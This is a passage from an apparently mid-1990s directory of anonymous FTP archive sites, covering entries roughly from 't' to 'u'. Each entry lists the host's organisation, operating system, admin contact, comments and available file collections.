comics/faq/part5 +Alias : +Admin : +Organ : USD +Server : gopher +System : Unix (Ultrix 4.x) +URL : ftp://teetot.acusd.edu/ +Comment: +Files : beelzebub: comics (rec.arts.comics archive, read the FAQ for that + group for details of what is available); HyperChem; IBM-PC; + Internet; privacy; Sun; SuperCard; Unix; USD_computers + +Site : terminator.cc.umich.edu +Country: USA +GMT : -5 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : terminator.rs.itd.umich.edu +Admin : +Organ : University of Michigan, Ann Arbor, Michigan, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://terminator.cc.umich.edu/ +Comment: +Files : dns; ietf-remail; shakespeare; Unix; Usenet; X500 + +Site : tesla.ee.cornell.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : root@ee.cornell.edu +Organ : Cornell University, Ithaca, New York, EE dept. +Server : +System : Unix +URL : ftp://tesla.ee.cornell.edu/ +Comment: +Files : tcsh + +Site : tgv.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : hq.tgv.com +Admin : service@tgv.com +Organ : TGV, Santa Cruz, California +Server : +System : VAX/VMS running Multinet +URL : ftp://tgv.com/ +Comment: read 1-README.FIRST for more info; default directory: + USERS:[ANONYMOUS.TGV] +Files : Multinet; graphics related programs and files + +Site : thalamus.sans.kth.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (Ultrix 4.1) +URL : ftp://thalamus.sans.kth.se/ +Comment: +Files : + +Site : thales.math.fundp.ac.be +Country: Belgium +GMT : +1 +Date : 14-Dec-94 +Source : +Alias : +Admin : mb@math.fundp.ac.be +Organ : FUNDP Universite de Namur (University of Namur), Namur, Math dept., + Transportation Research group +Server : +System : Unix (DEC Station 5000/200) +URL : ftp://thales.math.fundp.ac.be/ +Comment: Problem: setsvc: stat of /etc/svc.conf failed no such file or dir +Files : cute; ghostscript (MS-DOS); lsnno; reports; Unix + +Site : theory.lcs.mit.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : rincewind.mech.virginia.edu +Alias : +Admin : dmjones@theory.lcs.mit.edu (David Jones) [?] +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + Laboratory of Computer Sciences +Server : archive-server@theory.lcs.mit.edu +System : Unix (SunOS 4.1) +URL : ftp://theory.lcs.mit.edu/ +Comment: several personal pub directories +Files : aflent; algorithms; BOAZ; docs; comics: Books of Magic, Sandman, + Suicide Squid, Watchmen, see the rec.arts.comics FAQ for details; + Emacs; hilbert; IAFA; papers; Pratchett; SPAA94; TeX; theory + seminars; timekeeper + +Site : theory.tc.cornell.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Cornell University, Ithaca, New York, Theory Center (TC) +Server : +System : Unix (SunOS 4.1) +URL : ftp://theory.tc.cornell.edu/ +Comment: +Files : + +Site : think.com +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : early-bird.think.com +Admin : +Organ : Thinking Machines Corp. +Server : +System : Unix (SunOS 4.1) +URL : ftp://think.com/ +Comment: +Files : adoption; alifeIII.shirt; animal rights; aviation; caia-93; carpal; + cellular-automata; cmost; cvs; dgg; disinfectant; gurps; HPFF; + Interviews 3d; jpeg; libernet; lisp simulator; moose; + Oh-no-more-Lemmings demo (Mac); pc532; pmdc; radio; SGI; + space-comp-std; Sse; Think info; UUCP; Waco; Wais; weather; wx; + xpbiff + +Site : thor.ece.uc.edu +Country: USA +GMT : -5 +Date : 12-Aug-94 +Source : comp-sys-sun-FAQ +Alias : +Admin : ftp@thor.ece.uc.edu +Organ : University of C, , +Server : +System : Unix +URL : ftp://thor.ece.uc.edu/ +Comment: Open 24 hours; Sun archive +Files : dinesh; Mtl; pdl; Sun-faq (docs, FAQs, OpenWin, Sendmail, Solaris, + SunOS, SunSecurityBulletins, Utils; synthesis-benchmarks; Vhdl + +Site : thor.oar.net +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Ohio Academic Research Network +Server : +System : +URL : ftp://thor.oar.net/ +Comment: Problem: I/O error on network device +Files : + +Site : thumper.bellcore.com +Country: USA +GMT : +Date : 02-Aug-94 +Source : ftp.sterling.com +Alias : +Admin : +Organ : BellCore +Server : +System : Unix +URL : ftp://thumper.bellcore.com/ +Comment: some files to be mirrored on ftp.sterling.com +Files : afa; alg; anish; bcr-ca; bellcore; bier; BSD; C4; crypt; + midi; nctu; orator; radio; skey; sounds; TP++; whs70 + +Site : thumper.cs.umd.edu +Country: USA +GMT : -5 +Date : 02-Aug-94 +Source : ftp.sterling.com +Alias : +Admin : +Organ : University of Maryland, , Maryland, CS dept. +Server : +System : Unix +URL : ftp://thumper.cs.umd.edu/ +Comment: some files to be mirrored on ftp.sterling.com; docs from + flubber.cs.umd.edu in files/docs; 'pub' is empty, use 'files' +Files : CDS; docs; images; onr; rec (empty); sounds; TCDP (empty) + +Site : ticsys.tamu.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Texas A&M University, , Texas +Server : +System : +URL : ftp://ticsys.tamu.edu/ +Comment: Problem: I/O error on network device +Files : GIF; LPmud + +Site : tierra.slhs.udel.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : University of Delaware, , Delaware +Server : +System : Unix +URL : ftp://tierra.slhs.udel.edu/ +Comment: index in index.txt +Files : almond; beagle; interp; MS-DOS; principia; Tierra + +Site : titan.coi.pw.edu.pl +Country: Poland +GMT : +1 +Date : 12-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Technical University of Warsaw, Warsaw, CC +Server : +System : Unix +URL : ftp://titan.coi.pw.edu.pl/ +Comment: +Files : doc (some network intro files); mirrors: FreeBSD, XFree86; + MS-DOS (graphics, hp-II, misc, Novell, smtalk, tcp); Unix + +Site : titan.ksc.nasa.gov +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : NASA - Kennedy Space Center, , Florida +Server : +System : VAX/VMS running Multinet +URL : ftp://titan.ksc.nasa.gov/ +Comment: default directory: DISK$SHARE:[ANONYMOUS] +Files : Amiga (gcc); DDCU; images; info; Lisp; Space info; VMS; WinVN (home) + +Site : tlg.org +Country: USA +GMT : -8 +Date : 02-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : fnord.tlg.org +Admin : +Organ : The Little Garden, San Francisco, California +Server : WWW at tlg.org +System : Unix +URL : ftp://tlg.org/ +Comment: TLG provides T1 etc. Internet connections +Files : AUPs; brochure; FAQs (network-related); howto (network + related); NACR; Portmaster + +Site : toaster.ee.ubc.ca +Country: Canada +GMT : -5 +Date : 29-Sep-94 +Source : esued@csv.warwick.ac.uk (James F. Thomas) {posting} +Alias : +Admin : daveg@ee.ubc.ca +Organ : University of British Columbia, , British Columbia, EE dept., + VLSI Lab +Server : +System : Unix +URL : ftp://toaster.ee.ubc.ca/ +Comment: +Files : cslip; image viewers; NHL; Red Dwarf material (gifs/scripts/lyrics + etc.); VLSI + +Site : tolsun.oulu.fi +Country: Finland +GMT : +1 +Date : 07-Dec-93 +Source : Acorn FTP list as posted to news.answers +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://tolsun.oulu.fi/ +Comment: directories: pub/acorn, incoming/acorn (uploads) +Files : BBC and Acorn Archimedes software + +Site : topgun.agps.lanl.gov +Country: USA +GMT : -7 +Date : 12-Apr-94 +Source : old ftp-list +Alias : pagan.agps.lanl.gov +Admin : +Organ : Los Alamos National Laboratory, Los Alamos, New Mexico +Server : +System : Unix (SunOS 4.1) +URL : ftp://topgun.agps.lanl.gov/ +Comment: +Files : Khoros; astro; Scheme; NeWS; etc. + +Site : topgun.idbsu.edu +Country: USA +GMT : +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : IDB State University +Server : +System : PC fileserver (Netware 4.1) +URL : ftp://topgun.idbsu.edu/ +Comment: default directory set to /sys/global +Files : cutcp; cutnews; cwis; dos6supkit; dougmenu; graphics; internet; + Linux; lwp41; netware; phsylearner; pmail; sound; userguide; utils; + virus; winprinter; wpprinter; yterm + +Site : torino.ohionet.org +Country: USA +GMT : -6 +Date : 15-Dec-94 +Source : nosilla@torino.ohionet.org (Andrew Templin) +Alias : +Admin : +Organ : OhioNet, Columbus, Ohio +Server : +System : Unix (Linux, PC) +URL : ftp://torino.ohionet.org/ +Comment: +Files : Linux; Spock; Sun; training; uqwk; WWW + +Site : town.hall.org +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : CuD +Alias : +Admin : +Organ : Internet Town Hall, New York, New York +Server : gopher +System : Unix (SunOS) +URL : ftp://town.hall.org/ +Comment: transfers are logged +Files : cyber94; dns; Edgar (database); harvest; patent; radio; sd_launch + +Site : toxicwaste.mit.edu +Country: USA +GMT : -5 +Date : 22-May-94 +Source : +Alias : +Admin : warlord@mit.edu (Derek Atkins) +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts +Server : +System : Unix +URL : ftp://toxicwaste.mit.edu/ +Comment: do not abuse this system or I might be forced to remove many of the + privileges allowed users +Files : archive; charon; deposit; keys; RSA129; telephone; tutorials + +Site : toys.fubarsys.com +Country: +GMT : +Date : 14-Dec-94 +Source : russel@alpha3.ersys.edmonton.ab.ca (Russell Schulz) {posting} +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://toys.fubarsys.com/ +Comment: Problem: I/O error on network device [probably SLIP connection] +Files : FS UUCP + +Site : tr-ftp.cs.berkeley.edu +Country: USA +GMT : -8 +Date : 17-Jul-94 +Source : old ftp-list +Alias : epoch.cs.berkeley.edu +Admin : claire@postgres.berkeley.edu (Claire Mosher), + aoki@postgres.berkeley.edu (Paul M. Aoki) +Organ : University of California - Berkeley, Berkeley, California, CS dept. +Server : +System : Unix +URL : ftp://tr-ftp.cs.berkeley.edu/ +Comment: successor of postgres.berkeley.edu for tech-reports; + NOTICE: appears to be the same one as s2k-ftp.cs.berkeley.edu, but + I'll keep on listing them separately because of info in the welcome + message (the machines might change); Epoch file system, there might + be delays when files are copied in from optical disks; also + available through the WWW +Files : Ingres (University Ingres DataBaseManagementSystem); multimedia + (MPEG software and lots of MPEG movies); Picasso (GUI development + system); Postgres (Postgres DBMS); RCS; scan (incoming scanned + tech-reports); Sequoia 2000 (Global Change Project); teaching (CS + lecture notes); tech-reports (outgoing CS tech-reports); WWW + +Site : trantor.harris-atd.com +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://trantor.harris-atd.com/ +Comment: +Files : aai_magic_net; scalability network simulator:netsim_dist, Xresources + +Site : trwind.trw.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : TRW Inc., Redondo Beach, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://trwind.trw.com/ +Comment: +Files : NNStat; Cisco; IBM-PC; isode; KA9Q; Mac; named; Sendmail; + Sun utils; traceroute; Unix utils + +Site : tsx-11.mit.edu +Country: USA +GMT : -5 +Date : 11-Feb-94 +Source : Linux FAQ as posted to news.answers +Alias : tsx-11; +Admin : ftp-bugs@tsx-11.mit.edu, ftp-linux@tsx-11.mit.edu (for reports on + obsolete or non-working files, include full pathname and reason) +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts +Server : +System : Unix +URL : ftp://tsx-11.mit.edu/ +Comment: mirrored around the world, including on sunsite.unc.edu and + ftp.tu-chemnitz.de; tarring of a whole directory doesn't work! +Files : Linux (one of the primary sites); XFree86 (Linux binaries only) + +Site : turbo.bio.net +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : net.bio.net +Admin : +Organ : IntelliGentics +Server : +System : Unix (SunOS 4.1) +URL : ftp://turbo.bio.net/ +Comment: +Files : news.announce.newgroups archive + +Site : turiel.cs.mu.oz.au +Country: Australia +GMT : +10 +Date : 15-Dec-94 +Source : +Alias : +Admin : +Organ : Melbourne University, Melboure, CS dept. +Server : +System : Unix +URL : ftp://turiel.cs.mu.oz.au/ +Comment: Problem: service not available [might be temporary] +Files : + +Site : turing.com +Country: UK +GMT : 0 +Date : 06-Jan-94 +Source : old ftp-list +Alias : coulin.turing.com +Admin : dug@turing.com +Organ : Turing +Server : +System : Unix +URL : ftp://turing.com/ +Comment: Open 24 hours +Files : Happy; HyperLook runtime; Simcity add-ons; susb-data; Xdm + +Site : u8405.bs.ptb.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : root@u8405.bs.ptb.de +Organ : +Server : +System : +URL : ftp://u8405.bs.ptb.de/ +Comment: +Files : Linux; MS-DOS; PLZ; RFCs; Unix; Zeitmessung (time measurement) + +Site : uahcs2.cs.uah.edu +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://uahcs2.cs.uah.edu/ +Comment: +Files : + +Site : uars.acd.ucar.edu +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : National Center for Atmospheric Research +Server : +System : VAX/VMS running Multinet +URL : ftp://uars.acd.ucar.edu/ +Comment: default directory: SYS$LCL:[000000] +Files : Nethack sources + +Site : ubkadec2.ubka.uni-karlsruhe.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : johannes@ubka.uni-karlsruhe.de (Johannes Viegener) +Organ : Universitaet Karlsruhe (University of Karlsruhe), Karlsruhe +Server : +System : +URL : ftp://ubkadec2.ubka.uni-karlsruhe.de/ +Comment: +Files : plz + +Site : ubvms.cc.buffalo.edu +Country: USA +GMT : -5/-4 +Date : 06-Jan-94 +Source : old ftp-list +Alias : ubvmsb.cc.buffalo.edu +Admin : +Organ : State University of New York - Buffalo, Buffalo, New York +Server : Email server accepts interactive messages & commands in body + of letter; valid cammands: help, send, dir, index. + vmsserv@ucbvms (BITNET) & vmsserv@ubvms.cc.buffalo.edu +System : VAX/VMS running Multinet +URL : ftp://ubvms.cc.buffalo.edu/ +Comment: default directory: DISK$ACSDISK2:[VMSSERV] +Files : VAX/VMS; BITNET & Internet info; electronic newsletters + +Site : uc.msc.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://uc.msc.edu/ +Comment: +Files : + +Site : ucbvax.berkeley.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Berkeley, Berkeley, California +Server : +System : VAX/VMS +URL : ftp://ucbvax.berkeley.edu/ +Comment: +Files : NNTP; Gnews; AWM; Empire + +Site : uceng.uc.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : ftp.uceng.uc.edu [?] +Admin : info@ftp.uceng.uc.edu +Organ : University of Cincinnatti, Cincinnatti, Ohio, EE dept., Office of + College Computing/Structural Dynamics Research Corporation (SDRC) + University Consortium +Server : +System : Unix +URL : ftp://uceng.uc.edu/ +Comment: this server provides an archive for courseware for academic users + of SDRC software called "I-DEAS" when distributed directly by SDRC, + and "CAEDS" when distributed by IBM; max. 50 users; command logging + is ON +Files : CAEDS; Doom; Great Midwest Tournament (GMW); I-DEAS; Intervies; + Kerberos documentation; mirror of coombs.anu.edu.au; SDRC; tbook; + VLSI Hardware Description Language (vhdl); wuarchive + +Site : ucrmath.ucr.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Riverside, Riverside, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ucrmath.ucr.edu/ +Comment: +Files : + +Site : ucs.orst.edu +Country: USA +GMT : -8 +Date : 16-Feb-94 +Source : archive.orst.edu +Alias : +Admin : +Organ : Oregon State University, Corvallis, Oregon, CD dept. +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ucs.orst.edu/ +Comment: +Files : comm; docs; nettools; utils; virus + +Site : ucs_wcc.ucs.indiana.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Indiana University, Bloomington, Indiana +Server : +System : Novell NetWare 3.11 (PC fileserver) +URL : ftp://ucs_wcc.ucs.indiana.edu/ +Comment: directory set to /general/ftp +Files : MS Windows packet drivers + +Site : ucsbuxa.ucsb.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : Archive-name: hungarian-faq +Alias : +Admin : +Organ : University of California - Santa Barbara, Santa Barbara, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ucsbuxa.ucsb.edu/ +Comment: +Files : Hungarian stuff in /hcf + +Site : ucsd.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - San Diego, San Diego, California +Server : +System : Unix +URL : ftp://ucsd.edu/ +Comment: several loose files in /pub: computer liberty foundation, HHGttI, + makemoney, netlib, rzsz, tinymud, z80mu, zoo +Files : Amiga; cause; CBnet; csl; graphics programs and images; ham radio + (mirrored on ftp.tu-chemnitz.de); hosts; HP fixes; INN; Mac; mail; + news211; NeXT; nomad; MIDI: apps, data; PPP; security; sendmail + UCSD; SGI; sound bites for Sparcstations; Sun fixes; u3b2; + Usenet sources; xntp + +Site : ucselx.sdsu.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : ucssun1.sdsu.edu +Admin : ftp@ucssun1.sdsu.edu +Organ : San Diego State University, San Diego, California +Server : +System : Unix +URL : ftp://ucselx.sdsu.edu/ +Comment: +Files : acm; chemras; equestrian; FAQs; html; IBM; Linux; Mac; network + docs/programs; news; OS/2; pascals triangle; RFCs; SDSC info; + stepinfo; Sun-fixes; Unix; VAX; Windows + +Site : ugle.unit.no +Country: Norway +GMT : +1 +Date : 10-Sep-94 +Source : Archive-name: games/roguelike; old ftp-list +Alias : +Admin : +Organ : University of Trondheim, Trondheim +Server : +System : Unix +URL : ftp://ugle.unit.no/ +Comment: several index files: all.dirs, all.files etc. +Files : 386BSD; 4.4BSD-lite; Adobe; aladdin; bibsys; dsl; gis; GNU; Gopher; + graphics; Internet Talk Radio (ITR); kermit; Linux; Mac; Maple; mps; + MS-DOS; NCSA; NetBSD; OS/2; PEP; RFCs; phantasia; TeX; Unix; VMS; + weather; X11; X11R4; X11R5 + +Site : uicbert.eecs.uic.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : bert.eecs.uic.edu +Admin : +Organ : University of Illinois - Chicago, Chicago, Illinois +Server : +System : Unix (SunOS 4.1) +URL : ftp://uicbert.eecs.uic.edu/ +Comment: +Files : AT&T stuff; Unix-PC + +Site : uicvm.uic.edu +Country: USA +GMT : -6 +Date : 11-Jul-94 +Source : old ftp-list +Alias : uic.edu +Admin : +Organ : University of Illinois - Chicago, Chicago, Illinois +Server : +System : VM/CMS +URL : ftp://uicvm.uic.edu/ +Comment: user ANONYMOU logged in with no special privileges; you have to + change to a directory, but you have to know if beforehand +Files : + +Site : umaxc.weeg.uiowa.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Iowa, , Iowa +Server : +System : +URL : ftp://umaxc.weeg.uiowa.edu/ +Comment: +Files : NCSA Telnet; Sendmail + +Site : umigw.miami.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : aem@symbiosis.ahp.com (Andrew E. Mossberg); VAX software List; + old ftp-list +Alias : umigw.rsmas.miami.edu +Admin : grant@umigw.miami.edu (Grant Basham) +Organ : University of Miami, Miami, Florida, Rosenstiel School of Marine and + Atmospheric Sciences +Server : +System : Unix (Ultrix 4.1) +URL : ftp://umigw.miami.edu/ +Comment: +Files : VMS software + +Site : umn-cs.cs.umn.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Minnesota, , Minnesota +Server : +System : +URL : ftp://umn-cs.cs.umn.edu/ +Comment: Problem: I/O error on network device +Files : GNU; hypertext; news; Japanese + +Site : umnstat.stat.umn.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Minnesota, , Minnesota +Server : +System : Unix (Ultrix 4.1) +URL : ftp://umnstat.stat.umn.edu/ +Comment: +Files : bivsurv; docs; fsa; macanova; sbayes; schoolinfo; WWii; XlispStat + +Site : una.hh.lib.umich.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Michigan, Ann Arbor, Michigan, Library +Server : +System : Unix (Ultrix 4.1) +URL : ftp://una.hh.lib.umich.edu/ +Comment: also available through gopher +Files : census; diss; ebb; genref; gophers; gsp; humanities; inetdirs; + news; orms; science; socsci; toc; yalelibs + +Site : unbmvs1.csd.unb.ca +Country: Canada +GMT : +Date : 18-Aug-94 +Source : ftp.cs.ubc.ca +Alias : +Admin : +Organ : University of New Brunswick, , New Brunswick, CS dept. +Server : +System : MVS (IBM MVS 2.2.1) +URL : ftp://unbmvs1.csd.unb.ca/ +Comment: [This OS annoys me, 'dir': no data sets found, you have to 'cd pub' + to get a listing of files; no password needed; Most files are listed + as 'Migrated', I have no idea if that means they have been moved + or not] +Files : canarie; CANSPACE; CLS; FSS; MIME; MS-DOS; NJEIP; NOVELL; PCODE; + PUTDIR; SENDMAIL; UTILITY + +Site : unidata.ucar.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : support@unidata.ucar.edu +Organ : National Center for Atmospheric Research +Server : +System : +URL : ftp://unidata.ucar.edu/ +Comment: all activities are logged +Files : + +Site : uniwa.uwa.oz.au +Country: Australia +GMT : +8 +Date : 29-Sep-94 +Source : old ftp-list +Alias : uniwa.uwa.edu.au +Admin : +Organ : University of Western Australia +Server : +System : Unix +URL : ftp://uniwa.uwa.oz.au/ +Comment: +Files : archie-info; docs; ITpolicy; jobvacs; library; Mac; mae; mail; + mailing-lists; net; netlib; news; NN; PC; PovRay; research; + research-papers; Solaris-fixes; stats; Sun-fixes; UCSnews; unistats; + utils; VMS + +Site : unix.hensa.ac.uk +Country: UK +GMT : 0 +Date : 10-Sep-94 +Source : ngs@ukc.ac.uk (Neil G. Smith) {posting} +Alias : nutmeg.ukc.ac.uk +Admin : archive-admin@unix.hensa.ac.uk +Organ : University of Kent - Canterbury, Canterbury, Kent, Higher Education + National Software Archive (HENSA) +Server : www.hensa.ac.uk +System : Unix +URL : ftp://unix.hensa.ac.uk/ +Comment: tar and de/compress and g(un)zip on the fly; transfers are logged +Files : info; Linux (mirror of sunsite.unc.edu); maple; matlab; mirror of + coombs.anu.edu.au; netlib; parallel; statlib; uunet; walnut creek; + yggdrasil + +Site : unix.secs.oakland.edu +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : old ftp-list +Alias : +Admin : root@unix.secs.oakland.edu +Organ : Oakland University, Rochester, Michigan, School of Engineering and + Computer Science (SECS) Software Repository +Server : +System : Unix +URL : ftp://unix.secs.oakland.edu/ +Comment: max. 50 users; some files here need updating!!! +Files : 386BSD; dialslip; ftp-list [old!]; kheir; PC (archivers, virus + (OLD!)); Unix-ODT; WWW; Xenix + +Site : unmvax.cs.unm.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : mimbres.cs.unm.edu +Admin : ftp@cs.unm.edu +Organ : University of New Mexico, Albuquerque, New Mexico, CS dept +Server : +System : +URL : ftp://unmvax.cs.unm.edu/ +Comment: Limit of 5 users +Files : getmaps + +Site : uop.uop.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://uop.uop.edu/ +Comment: +Files : Bnews; nn; IRC + +Site : ural.ethz.ch +Country: Switzerland +GMT : +1 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : ETH, Zurich +Server : +System : Unix +URL : ftp://ural.ethz.ch/ +Comment: +Files : dns; docs; fixes; IBM-PC; Mac; rec.scouting; RFCs; Robo; SLIP; + TCP/IP; VPP + +Site : uranus.mathematik.uni-kl.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : saturn.mathematik.uni-kl.de +Admin : ftpadm@mathematik.uni-kl.de +Organ : Universitaet Kaiserslautern (University of Kaiserslautern), + Kaiserslautern, Math dept. +Server : +System : +URL : ftp://uranus.mathematik.uni-kl.de/ +Comment: Problem: Timeout (900 seconds) +Files : + +Site : urth.acsu.buffalo.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : State University of New York - Buffalo, Buffalo, New York +Server : +System : +URL : ftp://urth.acsu.buffalo.edu/ +Comment: no upload directories; connections are logged +Files : trn + +Site : urvax.urich.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : 'urvax' +Admin : hayes@urvax.urich.edu (Claude Bersano-Hayes) +Organ : University of Richmond, Richmond, Virginia +Server : +System : VAX/VMS running Multinet +URL : ftp://urvax.urich.edu/ +Comment: default directory: SYS$USER4:[ANONYMOUS] +Files : MS-DOS: anti-virus utilities; archivers; comm; generic utilities; + Rainbow; VMS + +Site : usc.edu +Country: USA +GMT : -8 +Date : 02-Aug-94 +Source : ftp.sterling.com +Alias : +Admin : action@usc.edu +Organ : University of Southern California, , California +Server : +System : Unix +URL : ftp://usc.edu/ +Comment: some files to be mirrored on ftp.sterling.com; server can + tar, (de)compress, g(un)zip +Files : AMD (automounter); DECUS TECO; hosttables; net-resources; Sun; UCS; + VMS software + +Site : uspif.if.usp.br +Country: Brazil +GMT : -3 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Universidade de Sao Paulo (University of Sao Paulo), Sao Paulo, + CS dept. +Server : +System : VAX/VMS running MultiNet +URL : ftp://uspif.if.usp.br/ +Comment: default directory: UTIL_RT:[000000] +Files : ADUSP-L; aju; ansys50; archie; autoindent; BIG-LAN; bras-esportes; + bras-net; brasnot_gate; CENAR-L; cern; chmail; cmd; cmutek; + compress; concursos-br; cswing; dataplot; datebook; DECUS-L; demo; + E781MC-L; ECO92-L; emacs; EMULOC-L; exe; extract; f2c; fermi_mgr; + find; finger; FISICA-L; FISICOMP-L; fmt; games; GNU; gopher; grep; + hlb; hlp; HP; IBMPC-L; idl; import; imsl; imsl_v020; imu; imu_data; + INFO-UNIX; INFO-VAX; INFONETS; Internet Menu; ISIS; Kermit; Laser; + LEIBM; library; look; LZW; MACSYMA; MAKE2; MFTU; MGSD; MLSEARCH; + MMK; MODIFY; MOST; MULTINET; MX; NetLib; news; NEWSRDR; NOTICIAS-L; + NSQUERY; PACKASM; PC; PCX; PERF_METER; PHYS-L; PIPE; PLOT10; PREND; + PREPRINT; PROC; PSTAT; P_WINDOWS; recipes; REDUCE; REMOTE; SBF; + SCAN4; SCHEDULAR; SCUBA-L; SDFILTER; SEND; Servicios-BR; SETUP; + SHELP; SHRCOMMON; SPLOIN; STATUS; Sun; swim; switch; tar; TESTE-L; + TEX-L; TeX; Topdrawer; tpana; trim; txt; UFFEVENT-L; UGS; undelete; + Unix; uuencode; VAXNEWS; VAXPAK; verb; VIRUS-L; virus; vmail; + VMS_SHARE; VQM; VWSDEMO; Watcher; whois; WS_tools; WWW; X.29; XE; + XLAL; XPICK; XTERM; XV; ZIP + +Site : utadnx.cc.utexas.edu +Country: USA +GMT : -6 +Date : 10-Dec-93 +Source : VAX Software List; old ftp-list +Alias : +Admin : +Organ : University of Texas - Austin, Austin, Texas, CC +Server : +System : VAX/VMS running Multinet +URL : ftp://utadnx.cc.utexas.edu/ +Comment: SYS$SYSDEVICE:[FAL$SERVER] +Files : VMS sources (zetaps; laser; sxlps) + +Site : utpapa.ph.utexas.edu +Country: USA +GMT : -7 +Date : 10-Sep-94 +Source : ren-and-stimpy FAQ +Alias : +Admin : +Organ : University of Texas - Austin, Austin, Texas, Physics dept. (PH) +Server : +System : Unix +URL : ftp://utpapa.ph.utexas.edu/ +Comment: +Files : AIX; benchmarks; classes; dept; ISDN; legal; Linux; Mac; Mosaic; + MS-DOS; Perl; security + +Site : uu.psi.com +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Performance Systems International +Server : +System : +URL : ftp://uu.psi.com/ +Comment: Problem: Service not available. Remote service has closed the + connection. +Files : GNU Emacs; others; Nysernet; IETF; GOSIP + +Site : uvacs.cs.virginia.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : server0.cs.virginia.edu +Admin : root@uvacs.cs.virginia.edu +Organ : University of Virginia, , Virginia, CS dept. +Server : +System : Unix +URL : ftp://uvacs.cs.virginia.edu/ +Comment: server can (de)compress; records of requests for items from + SUIT, veil and parts of the techrep directories are used by + the maintainers of those directories for support and to gain + some idea of how widely those packages are distributed +Files : dist; eda; efficient; findhost; fmbib; french; graphics; jfk3w; + jorg; kph2q; Mentat - parallel processing system; MMPS; mpl; + nfsmonitor; proto; sdb; Simple User Interface Toolkit (SUIT) - not + the same as in X11R4; Sun3dgtg; tbag; Techreports; TSE; Veil; WM; + wts; xtp + +Site : uwasa.fi +Country: Finland +GMT : +2 +Date : 06-Jan-94 